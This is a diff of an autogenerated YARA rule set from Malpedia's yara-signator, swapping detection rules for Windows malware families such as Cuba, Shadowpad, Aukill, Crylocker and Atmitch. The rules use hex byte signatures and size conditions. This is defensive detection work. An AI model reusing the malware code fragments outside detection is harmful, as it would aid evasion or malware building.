+		$sequence_1 = { 68???????? 50 e8???????? 59 59 85c0 0f8445010000 }
+		$sequence_2 = { 33c0 0fbe84c188e54100 6a07 c1f804 59 }
+		$sequence_3 = { 75f8 ff36 e8???????? 59 8b4508 }
+		$sequence_4 = { 8b4508 8bf1 8b4d0c 8b7e04 }
+		$sequence_5 = { 5e 5b c3 8b94c110010000 8bb110020000 8b44c108 2bc6 }
+		$sequence_6 = { 3bd7 749c 8b8324020000 2580000000 0f95c0 0fb6c0 50 }
+		$sequence_7 = { 7e7b 8b460c ff36 03c7 50 }
+		$sequence_8 = { 7413 c685b3fdffff01 3bf3 7408 8b451c 8906 }
+		$sequence_9 = { 83e803 0f846a010000 48 7439 48 742d 8b4508 }
 
 	condition:
-		7 of them and filesize <619520
+		7 of them and filesize <376832
 }
-rule MALPEDIA_Win_Pocodown_Auto : FILE
+rule MALPEDIA_Win_Mmon_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "57027d9b-6e81-5ca8-a0ac-bbfd288eda02"
+		id = "684efad9-d1d6-5ce6-b6e0-de65ea38db79"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pocodown"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pocodown_auto.yar#L1-L101"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mmon"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mmon_auto.yar#L1-L116"
 		license_url = "N/A"
-		logic_hash = "d2d2c3510515a24653939603c26fb696816a72e2a82e1c859f658b0238b45291"
+		logic_hash = "fc9a1ffbaa9f24fc3223df86b9f3747f68822a1333ac4081d18094cd5050cf44"
 		score = 75
 		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
 		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
-
-	strings:
-		$sequence_0 = { 8b84248c000000 ffc8 898424a0010000 c784248800000000000000 ba01000000 488b8c24e0010000 }
-		$sequence_1 = { 8b84248c000000 ffc8 8984248c000000 83bc248c00000007 0f875d010000 486384248c000000 }
-		$sequence_2 = { 8b842490000000 25ff000000 488b4c2430 884101 }
-		$sequence_3 = { 8b84248c020000 8944244c 488b8c2420030000 e8???????? }
-		$sequence_4 = { 8b842490000000 2500040000 85c0 740a c744245000000000 eb0a 8b442448 }
-		$sequence_5 = { 8b84248c020000 448bc0 ba5c000000 488d8c24f0010000 e8???????? }
-		$sequence_6 = { 8b84248c020000 448bc0 488d9424f0010000 488d8c24a0020000 e8???????? }
-		$sequence_7 = { 8b842490000000 39442420 0f83e0000000 488d442438 41b808000000 488b542440 }
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
+
+	strings:
+		$sequence_0 = { 8d04f5c8474200 8938 68a00f0000 ff30 }
+		$sequence_1 = { 8d45cc 50 c745ccc8e64100 e8???????? 8b7508 }
+		$sequence_2 = { 3c58 770f 0fbec2 0fb68020094200 }
+		$sequence_3 = { 6aff 53 6a00 6a00 8bf1 }
+		$sequence_4 = { 891d???????? ff15???????? 85c0 7577 8b15???????? }
+		$sequence_5 = { 40 0080af4000a4 af 40 }
+		$sequence_6 = { 8b44241c 83c404 50 ff15???????? 6880969800 e8???????? }
+		$sequence_7 = { 03f9 8bda 83feff 7fa7 b867666666 f7ef c1fa02 }
+		$sequence_8 = { eb0a c7854cffffff00000000 b802000000 018554ffffff 018548ffffff 03f8 }
+		$sequence_9 = { 64a300000000 8b7d0c 8b07 68???????? 51 50 }
 
 	condition:
-		7 of them and filesize <6703104
+		7 of them and filesize <356352
 }
-rule MALPEDIA_Win_Cuba_Auto : FILE
+rule MALPEDIA_Win_Aukill_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8e1fe25d-f2c0-551f-8e41-a3623d0fa4f8"
+		id = "a6d13b29-a1c3-5db7-ac5c-09009229e7b9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cuba"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cuba_auto.yar#L1-L166"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aukill"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.aukill_auto.yar#L1-L117"
 		license_url = "N/A"
-		logic_hash = "9f0de113045e5c6c763dd8b7a39764d54e03c53f19ccc2d0320fdbbeb66fa89e"
+		logic_hash = "ebc3504ab44ddd68fe35d4be4361ca674b2d7f3006cec23148755c773291be1b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -156253,38 +163351,32 @@ rule MALPEDIA_Win_Cuba_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0019 43 41 00444341 }
-		$sequence_1 = { ffb5fcfeffff ffb5fcfdffff ff15???????? 85c0 750d 8b95c0fbffff 53 }
-		$sequence_2 = { 33d2 85c0 7e0c 807c95bc19 740c 42 3bd0 }
-		$sequence_3 = { 85c0 0f84b4000000 8bbdc8fbffff 53 68???????? 8d85f0fbffff 50 }
-		$sequence_4 = { 000d???????? 384100 b538 41 }
-		$sequence_5 = { 0026 45 41 003a }
-		$sequence_6 = { 85c0 750c 57 ff15???????? e9???????? 56 ff15???????? }
-		$sequence_7 = { 0012 45 41 0026 }
-		$sequence_8 = { 6a02 6a00 688b010000 ff75f4 ff15???????? ff75f4 f7d8 }
-		$sequence_9 = { 757a ffb5d4fbffff 50 6800040000 }
-		$sequence_10 = { 8945f4 8b4514 40 c745ecac9c4000 894df8 8945fc }
-		$sequence_11 = { 0026 43 41 00b043410062 }
-		$sequence_12 = { 000c43 41 0035???????? 43 }
-		$sequence_13 = { 003a 45 41 004245 }
-		$sequence_14 = { 03f0 c1ca16 8b85e0feffff 03b40510ffffff 03b0f4b14100 03b5e8feffff 8d0437 }
-		$sequence_15 = { 000446 41 00d1 45 }
+		$sequence_0 = { 85c0 751f 488b4c2458 ff15???????? }
+		$sequence_1 = { 0fb7da 8bf9 e8???????? 4c8bc8 4533c0 }
+		$sequence_2 = { 4533c0 33d2 488bcb ff15???????? 85c0 7526 488bcb }
+		$sequence_3 = { 4889442420 ff15???????? 85c0 751f 488b4c2458 ff15???????? }
+		$sequence_4 = { 751d 488bcb ff15???????? ff15???????? }
+		$sequence_5 = { 4489442420 453b01 7346 4b8d1440 410f104cd108 0f114c2428 f2410f1044d118 }
+		$sequence_6 = { 448d4920 48894c2450 488b0d???????? 48897c2458 }
+		$sequence_7 = { 488bd3 33c9 ff15???????? 85c0 751f }
+		$sequence_8 = { 48895c2408 57 4883ec60 488bfa 8bd9 e8???????? 33c9 }
+		$sequence_9 = { ffc2 80f920 75ee 4c63c2 }
 
 	condition:
-		7 of them and filesize <1094656
+		7 of them and filesize <446464
 }
-rule MALPEDIA_Win_Orchard_Auto : FILE
+rule MALPEDIA_Win_Firechili_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "68833672-b2e1-5b37-9ae2-2dac96bba231"
+		id = "1e675a4c-a97c-5312-b559-588fd9dfae94"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.orchard"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.orchard_auto.yar#L1-L159"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.firechili"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.firechili_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "70c3ab090316ecb85f40208f530bb1fb9e1727e271d34e7cabe8cdcf998bd59f"
+		logic_hash = "39f362d1cc29968bda0685edf846cfad0cc3545d7d80fc48d26a5fd5a4bdf9c6"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -156298,38 +163390,32 @@ rule MALPEDIA_Win_Orchard_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83c404 e8???????? 99 b95b000000 f7f9 }
-		$sequence_1 = { 6a01 c645fc08 e8???????? 894604 83c404 8d4718 897034 }
-		$sequence_2 = { 56 ff15???????? ff15???????? 50 6a00 }
-		$sequence_3 = { 8b8550fdffff 83e001 0f8412000000 83a550fdfffffe }
-		$sequence_4 = { 8a45ef 884740 7510 8b470c 8bcf 6a00 }
-		$sequence_5 = { 8d442410 50 ff15???????? 6685c0 }
-		$sequence_6 = { 8b5de8 894348 8b5de0 c70600000000 }
-		$sequence_7 = { 8b75a8 46 56 e8???????? }
-		$sequence_8 = { 8b54240c 83d200 03c1 8b4c2420 }
-		$sequence_9 = { f7f9 81c2d0070000 52 ffd6 }
-		$sequence_10 = { 8b10 8bc8 6a01 ff12 837f3800 8a45ef }
-		$sequence_11 = { 8b07 6a08 895de0 8b4004 }
-		$sequence_12 = { 83f81f 0f877e030000 52 51 e8???????? }
-		$sequence_13 = { 8b7c2424 89542428 8b54240c 83d200 }
-		$sequence_14 = { 50 ff15???????? 83f805 7507 }
-		$sequence_15 = { 8bc8 83e01f c1f905 8b0c8d00755d00 c1e006 8d44010c 50 }
+		$sequence_0 = { 7d11 48837c242000 7509 b201 33c9 e8???????? 33c0 }
+		$sequence_1 = { 488b7c2458 488b6c2460 4885f6 744e }
+		$sequence_2 = { 4533c0 4889742420 488d55f7 ff15???????? }
+		$sequence_3 = { c744242866730000 4533c0 33d2 48c744242008020000 ff15???????? c605????????01 488bd7 }
+		$sequence_4 = { 488b7c2430 488b742438 4c8b6c2428 498b442408 }
+		$sequence_5 = { c3 4c8bdc 4d894318 49895310 53 56 4883ec68 }
+		$sequence_6 = { 418bc6 81c200040000 4a393400 740c ffc1 48ffc0 483bc2 }
+		$sequence_7 = { 4889742458 418d5020 48897c2460 ff15???????? 8bf8 85c0 784b }
+		$sequence_8 = { 4c8bc1 488bc1 6690 66833800 }
+		$sequence_9 = { 488d05ff500000 c605????????01 488905???????? 488905???????? 4883c420 }
 
 	condition:
-		7 of them and filesize <4716352
+		7 of them and filesize <91136
 }
-rule MALPEDIA_Win_Hermes_Auto : FILE
+rule MALPEDIA_Win_Crylocker_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "61ab2fc1-04d0-5933-ac64-b12602279b7d"
+		id = "4bfc7917-6752-5365-845d-244ec08bbbad"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermes"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hermes_auto.yar#L1-L111"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crylocker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.crylocker_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "9cfed48151b17cbf55d1481eb34069ea472830263b97aa44ce683b55da6f12b5"
+		logic_hash = "846ce0f815360303954c01156a8157bafbdde3bd263a1bdd7a06f8c9923993ce"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -156343,32 +163429,32 @@ rule MALPEDIA_Win_Hermes_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a01 6810660000 ff75fc ff15???????? }
-		$sequence_1 = { ff15???????? 33d2 6a79 59 f7f1 83c261 }
-		$sequence_2 = { 6a01 ff15???????? 8d45fc 50 }
-		$sequence_3 = { 8b4508 83c801 50 6a01 ff75fc }
-		$sequence_4 = { 8b4508 83c801 50 6a01 ff75fc ff15???????? }
-		$sequence_5 = { 50 8b4508 83c801 50 }
-		$sequence_6 = { 6a04 6800100000 6888130000 6a00 }
-		$sequence_7 = { 50 6a01 6810660000 ff75fc ff15???????? }
-		$sequence_8 = { 6800100000 6888130000 6a00 ff15???????? }
-		$sequence_9 = { 50 8d45fc 50 ff15???????? 6a20 }
+		$sequence_0 = { 51 8d542458 52 e8???????? 8d44245c }
+		$sequence_1 = { 50 e8???????? 8d4c2404 6a01 51 e8???????? }
+		$sequence_2 = { 6a03 50 e8???????? 8b5c2448 8b0b 51 8d54243c }
+		$sequence_3 = { 68???????? 53 e8???????? 83c408 53 85c0 7440 }
+		$sequence_4 = { 85c0 750b 5b b8f9ffffff 5d 83c410 c3 }
+		$sequence_5 = { 8d442430 50 e8???????? 8d4c2434 68???????? 51 e8???????? }
+		$sequence_6 = { 50 50 8b44244c 50 6a00 6a00 56 }
+		$sequence_7 = { 0f8430020000 8d4c2404 51 e8???????? 8d542408 }
+		$sequence_8 = { e8???????? 8b1d???????? 83c428 50 ffd3 8b542430 }
+		$sequence_9 = { e8???????? 8d4c2408 6aff 51 e8???????? 8d542410 6a02 }
 
 	condition:
-		7 of them and filesize <7192576
+		7 of them and filesize <139264
 }
-rule MALPEDIA_Win_Tmanger_Auto : FILE
+rule MALPEDIA_Win_Gibberish_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "78f3e107-dd73-5ac6-8162-9004595db040"
+		id = "409a50f2-d1ad-54e1-a200-e21294aa9e4e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tmanger"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tmanger_auto.yar#L1-L115"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gibberish"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gibberish_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "3ce75b695b98335702f80c133e38f084863185b63bd0e2de7bf59d414a1dae17"
+		logic_hash = "57f29d590beea21c748ae9324417e51d5ad871133bb0f66df9972b1b6e5d5d7b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -156382,32 +163468,32 @@ rule MALPEDIA_Win_Tmanger_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c7415d382cd7bd c74161d47bdb0f c741651f013f62 c74169388b8e92 c7416d9b14f6a0 }
-		$sequence_1 = { c741103a71c135 c74114c2a02ab0 c74118d95dc845 c7411cf8f0564e c7412066b8276e }
-		$sequence_2 = { c74169388b8e92 c7416d9b14f6a0 c7417180fcd6bb c74175d7401d36 }
-		$sequence_3 = { c7410c16d9fdf8 c741103a71c135 c74114c2a02ab0 c74118d95dc845 c7411cf8f0564e }
-		$sequence_4 = { c7412425d933d1 c7412861fdc72a c7412cdf9134d2 c74130324d251d c74134375ec19d }
-		$sequence_5 = { c74169388b8e92 c7416d9b14f6a0 c7417180fcd6bb c74175d7401d36 c7417958fffa19 66c7417dfc19 }
-		$sequence_6 = { c7412066b8276e c7412425d933d1 c7412861fdc72a c7412cdf9134d2 c74130324d251d c74134375ec19d }
-		$sequence_7 = { c741594d68b93a c7415d382cd7bd c74161d47bdb0f c741651f013f62 }
-		$sequence_8 = { c741510f9f2997 c7415565449eac c741594d68b93a c7415d382cd7bd c74161d47bdb0f c741651f013f62 }
-		$sequence_9 = { c741594d68b93a c7415d382cd7bd c74161d47bdb0f c741651f013f62 c74169388b8e92 }
+		$sequence_0 = { ff15???????? 8945a4 e8???????? 8b4dac 8b45a4 6a41 }
+		$sequence_1 = { 8b75e8 8b7dec e9???????? f30f7e4de8 0f1045d8 eb03 }
+		$sequence_2 = { c1e908 894c2410 8b4c2418 3314c5e1a14700 0fb6c1 c1e908 }
+		$sequence_3 = { e8???????? 84c0 0f849a000000 33c0 668985dcf9ffff 8d85e8fbffff 68???????? }
+		$sequence_4 = { 8944243c 8b4124 89442440 8b4128 8d4c241c c744241c209d4500 c7442420d49d4500 }
+		$sequence_5 = { 894db0 8d4dc0 50 c745d000000000 c745d40f000000 c645c000 e8???????? }
+		$sequence_6 = { 81fae3000000 7cc4 81fa6f020000 7d3a 57 8d3c9518bd4700 }
+		$sequence_7 = { 68???????? 53 53 ff15???????? 8b55ac 8b4da8 890491 }
+		$sequence_8 = { ff15???????? 66898435fdfbffff 83c607 53 56 8d85f8fbffff 50 }
+		$sequence_9 = { 8b45d4 8d4dd8 8b55d0 83ff10 8b7dd8 0f43cf 2bc2 }
 
 	condition:
-		7 of them and filesize <8252416
+		7 of them and filesize <1068032
 }
-rule MALPEDIA_Win_Khrat_Auto : FILE
+rule MALPEDIA_Win_Mm_Core_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "cae82139-c683-5bf8-8807-a11668477f96"
+		id = "d45aa5c3-0724-55a7-87e0-2c03f652362f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.khrat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.khrat_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mm_core"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mm_core_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "074673c423b5c49f07577630b1f328510bc324887f41ca6e4261bb8bfff0e2f0"
+		logic_hash = "3ca1e6eabacd07d91480b5599e1196a1b257af6133657fffc185261c4367958e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -156421,32 +163507,32 @@ rule MALPEDIA_Win_Khrat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d858cfbffff 50 68f4030000 57 }
-		$sequence_1 = { 66c745e00000 8b859cfbffff 8945e8 8b8590fbffff 8945ec 8945f0 }
-		$sequence_2 = { c9 c20400 55 8bec 81c4d0f9ffff }
-		$sequence_3 = { 81c448feffff c705????????ffffffff 8d8572feffff 50 6802020000 e8???????? 6a06 }
-		$sequence_4 = { 68???????? 6a00 e8???????? 0bc0 0f840e010000 }
-		$sequence_5 = { 66c746326500 66c746347700 66c746363a00 66c746380000 8db500feffff }
-		$sequence_6 = { ff35???????? 8f45e6 8d45e2 50 e8???????? c9 }
-		$sequence_7 = { eb25 ff35???????? e8???????? 8d85d4fdffff }
-		$sequence_8 = { c9 c3 55 8bec 83c4fc 833d????????ff }
-		$sequence_9 = { 50 8d85bcf8ffff 50 8d85dcf8ffff 50 8d8500ffffff }
+		$sequence_0 = { 7458 57 8b7c240c 85ff 744e 6a40 6800300000 }
+		$sequence_1 = { c1f805 8bf7 83e61f c1e606 03348540400110 c745e401000000 }
+		$sequence_2 = { 8b45fc ff34c5e41c0110 53 57 e8???????? 83c40c 85c0 }
+		$sequence_3 = { 85f6 0f848d000000 8b0e 85c9 7442 8b5608 }
+		$sequence_4 = { 8b442424 8b4c242c 8938 8931 }
+		$sequence_5 = { 8955d4 8b45d4 8b4814 894ddc }
+		$sequence_6 = { 8d4c244c 51 55 55 68???????? 68???????? }
+		$sequence_7 = { 57 52 89842480000000 898c2484000000 89bc2488000000 e8???????? 83c40c }
+		$sequence_8 = { e8???????? bb???????? 8d742434 e8???????? 8d9c24a8050000 8d742428 e8???????? }
+		$sequence_9 = { 8b4dc4 0fb611 0355fc 8955fc 8b45c4 }
 
 	condition:
-		7 of them and filesize <57344
+		7 of them and filesize <319488
 }
-rule MALPEDIA_Win_Unidentified_094_Auto : FILE
+rule MALPEDIA_Win_Atmitch_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f5bdd8f3-d974-5222-9555-3631072a29c0"
+		id = "5a61b640-3c5c-5518-8891-5d83a0b89c2d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_094"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_094_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atmitch"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.atmitch_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "f3d0ed91e99c9ab03a6ddd24a2a28007a40b7e677077c8b725a5a67f32cc52a7"
+		logic_hash = "565ce987fa9e005b7e196a8bfd57c4f682eb318d752a50049029192ea9e40f26"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -156460,32 +163546,32 @@ rule MALPEDIA_Win_Unidentified_094_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 890d???????? 57 8915???????? a3???????? 83ceff b9???????? }
-		$sequence_1 = { 6a5c 68???????? e8???????? 83c408 33c9 }
-		$sequence_2 = { 0fb65004 3015???????? 0fb64805 300d???????? 0fb65006 3015???????? }
-		$sequence_3 = { 83c310 ff4d0c 0f857ffeffff 5f }
-		$sequence_4 = { 0fb65004 3015???????? 0fb64805 300d???????? 0fb65006 3015???????? c3 }
-		$sequence_5 = { 884dff 84d2 7902 341b }
-		$sequence_6 = { 3055fd 0fb61401 3055fe 0fb6540101 3055ff 8b55fc 89540102 }
-		$sequence_7 = { 6a00 6a00 6a00 ff15???????? c3 }
-		$sequence_8 = { 80f31b 8ad3 02d2 84db 7903 80f21b }
-		$sequence_9 = { 890d???????? 57 8915???????? a3???????? }
+		$sequence_0 = { c644244803 ff15???????? 8d4c2418 51 68???????? }
+		$sequence_1 = { 33c4 89842410020000 56 51 8bcc }
+		$sequence_2 = { 8bfe f7df 896c241c 0fb744242c 50 51 }
+		$sequence_3 = { 51 833d????????00 7422 a1???????? 50 }
+		$sequence_4 = { ff15???????? e8???????? 8b0e 8b5138 83c408 }
+		$sequence_5 = { c744241c00000000 b8???????? c60000 83c004 3d???????? 7cf3 68???????? }
+		$sequence_6 = { 8bcc 89642410 68???????? ff15???????? e8???????? 0fb705???????? 83c408 }
+		$sequence_7 = { ff15???????? 83bc24fc00000000 7432 8b4c2408 8b41f4 }
+		$sequence_8 = { c644244803 ff15???????? 8d4c2418 51 68???????? 8d542428 52 }
+		$sequence_9 = { 83c404 50 ff15???????? 50 51 }
 
 	condition:
-		7 of them and filesize <524288
+		7 of them and filesize <73728
 }
-rule MALPEDIA_Win_Shadowpad_Auto : FILE
+rule MALPEDIA_Win_Rockloader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c7d36336-f736-58f8-9fa1-3e3ab1239351"
+		id = "175eaa7b-da5b-50b8-b46d-cecd53211dcf"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.shadowpad_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rockloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rockloader_auto.yar#L1-L117"
 		license_url = "N/A"
-		logic_hash = "af53d025dfe83e5b7a4ca7b9e68b22a960854fdb5b48b2d1cee2b2ef3fbc15f2"
+		logic_hash = "8a75e6c1f9302fef80e04ef409ea5d10afc0d829be15769e71fe72b02405b4ff"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -156499,32 +163585,32 @@ rule MALPEDIA_Win_Shadowpad_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 59 8d75dc a3???????? e8???????? 53 ff15???????? }
-		$sequence_1 = { 5b c9 c3 55 8bec b8f8100000 e8???????? }
-		$sequence_2 = { 8bec 53 57 ff7508 ff15???????? 8d7801 }
-		$sequence_3 = { 8d45e8 50 53 8d75d0 }
-		$sequence_4 = { 7e25 8a0c56 8a445601 80e961 2c6a }
-		$sequence_5 = { 50 6a04 5f e8???????? 85c0 75ae 8d4310 }
-		$sequence_6 = { 83ec24 53 56 57 33ff 393d???????? }
-		$sequence_7 = { e8???????? 8b1d???????? 50 ffd3 6800010000 668945f0 }
-		$sequence_8 = { 8bfe 8d45e8 895de8 895dec 895df4 895df0 885df8 }
-		$sequence_9 = { 0fb639 c1ce08 83cf20 03f7 83c102 81f6a3d9357c 663919 }
+		$sequence_0 = { e8???????? dc1d???????? dfe0 f6c441 740f }
+		$sequence_1 = { e8???????? 85c0 74b4 c6002c 40 837d0c00 7404 }
+		$sequence_2 = { 8a06 3c22 750c ff7508 8bc6 e8???????? }
+		$sequence_3 = { 8b45f4 8945e8 8d45f8 50 8d45e4 }
+		$sequence_4 = { eb05 68???????? e8???????? 8bf8 8bc7 }
+		$sequence_5 = { e8???????? 33f6 53 8975f8 }
+		$sequence_6 = { 3975f4 7e55 53 8b45f8 }
+		$sequence_7 = { ff4608 8b7f08 85ff 7452 8b4508 }
+		$sequence_8 = { d9ee 53 56 dd55ec d9e8 33f6 }
+		$sequence_9 = { 8975f8 db45f8 8365f800 dec1 dd5ddc 9b }
 
 	condition:
-		7 of them and filesize <188416
+		7 of them and filesize <98304
 }
-rule MALPEDIA_Win_Heriplor_Auto : FILE
+rule MALPEDIA_Win_Diztakun_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d711b4d9-3914-58b9-9b88-9214444e3dee"
+		id = "7edd86e4-2270-51c2-83a8-ad0918813862"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.heriplor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.heriplor_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.diztakun"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.diztakun_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "bf5971e2bb98e2180b60da71db38d7f4898a68723f2588a48c70334b337b7d93"
+		logic_hash = "6061dd34695b43b9aac4a4105a7b2b736c3a3c9564c659ddb77165c4b09e4e8b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -156538,34 +163624,34 @@ rule MALPEDIA_Win_Heriplor_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c20c00 55 89e5 56 57 33c9 648b4130 }
-		$sequence_1 = { 40 5b 59 89ec }
-		$sequence_2 = { 8a08 84c9 740d 80c960 01cb c1e301 }
-		$sequence_3 = { 668b13 8b0491 01f8 5f 5e 89ec 5d }
-		$sequence_4 = { 89e5 51 53 33db 33c9 8b4508 }
-		$sequence_5 = { 85ff 7420 46 46 }
-		$sequence_6 = { 7407 83c204 43 43 ebe6 33d2 668b13 }
-		$sequence_7 = { 01fb 8b32 01fe 6a01 ff750c }
-		$sequence_8 = { 3b5d0c 7401 40 5b }
-		$sequence_9 = { 01f9 01fa 01fb 8b32 01fe 6a01 ff750c }
+		$sequence_0 = { 4a 85d2 0f8fb3010000 8b08 8b11 50 }
+		$sequence_1 = { 51 ff15???????? 8d742408 e8???????? 5f }
+		$sequence_2 = { 8b08 8b11 50 8b4204 ffd0 c68424d807000019 8b442430 }
+		$sequence_3 = { 83e01f c1f905 8b0c8d60d74400 c1e006 03c1 f6400401 7524 }
+		$sequence_4 = { 8945f4 8b4514 40 c745ec3f344200 894df8 }
+		$sequence_5 = { 50 889c24e4070000 e8???????? 83c40c c68424d807000011 }
+		$sequence_6 = { 8b4c240c 8b5720 8d442408 50 51 }
+		$sequence_7 = { 85d2 740b 8b450c 8b80a4914400 eb09 8b450c 8b8070914400 }
+		$sequence_8 = { e8???????? 59 59 85c0 0f84d9000000 68???????? 53 }
+		$sequence_9 = { e8???????? 83bfac00000000 755e 8d4c2474 51 8d54241c 52 }
 
 	condition:
-		7 of them and filesize <49152
+		7 of them and filesize <688128
 }
-rule MALPEDIA_Win_Infy_Auto : FILE
+rule MALPEDIA_Win_Cutwail_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "57c24fda-e429-5a88-80d2-235251d4052e"
